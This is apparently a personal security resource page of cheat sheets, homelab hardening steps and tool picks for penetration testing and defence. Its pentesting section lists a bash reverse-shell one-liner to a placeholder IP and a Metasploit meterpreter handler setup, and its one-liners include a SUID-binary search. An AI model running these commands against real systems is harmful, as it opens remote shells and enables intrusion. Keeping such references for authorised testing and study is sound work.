Resource Hub

Welcome to the ricanwarfare Resource Hub. This is a living document of the tools, guides, and quick-reference sheets I use daily in offensive operations, security research, and home labbing.

📋 Cheat Sheets

Quick-reference guides for common security tasks and command-line mastery.

OSINT (Open Source Intelligence)

• Username Enumeration: sherlock <username> or socialscan <username>
• Domain Recon: subfinder -d <domain> -o subs.txt
• Reverse Image Search: Search with Google Lens, Yandex, and Bing.

Bash One-Liners

• Find all SUID binaries: find / -perm -u=s -type f 2>/dev/null
• Process monitoring (loop): while true; do ps aux | grep <process>; sleep 2; done
• Quick local web server: python3 -m http.server 8000

Pentesting & Red Teaming

• Nmap Fast Scan: nmap -sV -sC -T4 -p- <IP>
• Reverse Shell (Bash): bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
• Metasploit Handler: use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <IP>; run

🧪 Lab Guides

“The ricanwarfare Way” — My personal methodology for building robust, secure environments.

Hardened Proxmox Node Setup

1. Disable Enterprise Repos: Switch to pve-no-subscription.
2. Setup MFA: Always enable TOTP or WebAuthn for the root@pam account.
3. Internal Networking: Implement a dedicated VLAN for management (VLAN 10) and a DMZ (VLAN 20).
4. Monitoring: Install netdata or set up an InfluxDB/Grafana stack for real-time telemetry.

Kali Linux Jump-Box (The Stealth Build)

• Minimal Install: Start with a headless Kali or a “Light” environment.
• VPC Configuration: Configure a static internal IP and a WireGuard tunnel for remote access.
• Persistence: Use tmux and logging scripts to ensure all activity is captured for reporting.
• Hardening: Disable unnecessary services (SSH password auth, unused ports).

🛠️ Essential Tooling

The “Must-Haves” for any modern security professional’s toolkit.

Offensive Tools

• Burp Suite Professional: Industry-standard web application security testing.
• BloodHound: Active Directory relationship mapping and attack path analysis.
• Cobalt Strike: Leading adversary simulation and red team platform.

Defensive & Analysis Tools

• Wireshark: Deep packet inspection and network protocol analysis.
• Ghidra: NSA-developed reverse engineering suite.
• Velociraptor: Endpoint visibility and digital forensics/incident response.
  • Alternatives for smaller labs:
    • Wazuh: Open-source SIEM with OSSEC-based host intrusion detection
    • Osquery: SQL-based endpoint visibility (lightweight)
    • Elastic Agent + Fleet: Full-stack observability with elastic stack
  • Note: Velociraptor is powerful but resource-intensive. For homelabs under 8GB RAM, consider Osquery + a simple log aggregator.

Productivity & Misc

• Obsidian: For technical note-taking and knowledge management.
• Visual Studio Code: The ultimate IDE for scripting and exploit development.
• Bitwarden: Secure, open-source password management.

Found a dead link or want to suggest a resource? Open a PR on GitHub.